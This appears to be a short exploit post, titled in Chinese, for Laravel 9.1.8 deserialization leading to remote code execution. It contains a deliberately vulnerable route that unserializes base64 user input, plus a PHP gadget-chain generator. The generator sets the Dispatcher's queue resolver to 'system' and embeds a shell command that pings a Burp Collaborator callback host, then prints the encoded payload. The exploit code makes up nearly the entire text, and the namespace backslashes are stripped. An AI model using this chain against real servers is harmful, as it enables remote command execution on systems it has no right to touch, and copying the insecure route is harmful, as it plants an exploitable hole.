【未知】Laravel 9.1.8 反序列化和远程代码执行

<?php
use IlluminateSupportFacadesRoute;
/*|--------------------------------------------------------------------------| Web Routes|--------------------------------------------------------------------------|| Here is where you can register web routes for your application. These| routes are loaded by the RouteServiceProvider within a group which| contains the "web" middleware group. Now create something great!|*/
Route::get('/', function (IlluminateHttpRequest $request) {//    return view('welcome');    $ser = base64_decode($request->input("ser"));    unserialize($ser);    return "ok";});

<?phpnamespace IlluminateContractsQueue{    interface ShouldQueue    {        //    }}
namespace IlluminateBus{    class Dispatcher{        protected $container;        protected $pipeline;        protected $pipes = [];        protected $handlers = [];        protected $queueResolver;        function __construct(){            $this->queueResolver = "system";
        }    }}
namespace IlluminateBroadcasting{
    use IlluminateContractsQueueShouldQueue;
    class BroadcastEvent implements ShouldQueue {        function __construct(){
        }    }    class PendingBroadcast{        protected $events;        protected $event;        function __construct(){            $this->event = new BroadcastEvent();            $this->event->connection = "ping -nc 1 laravel.me40p9vxwjbs7may8s6puipge7kx8m.burpcollaborator.net";            $this->events = new IlluminateBusDispatcher();        }    }}namespace{    $a = new IlluminateBroadcastingPendingBroadcast();    echo base64_encode(serialize($a));}

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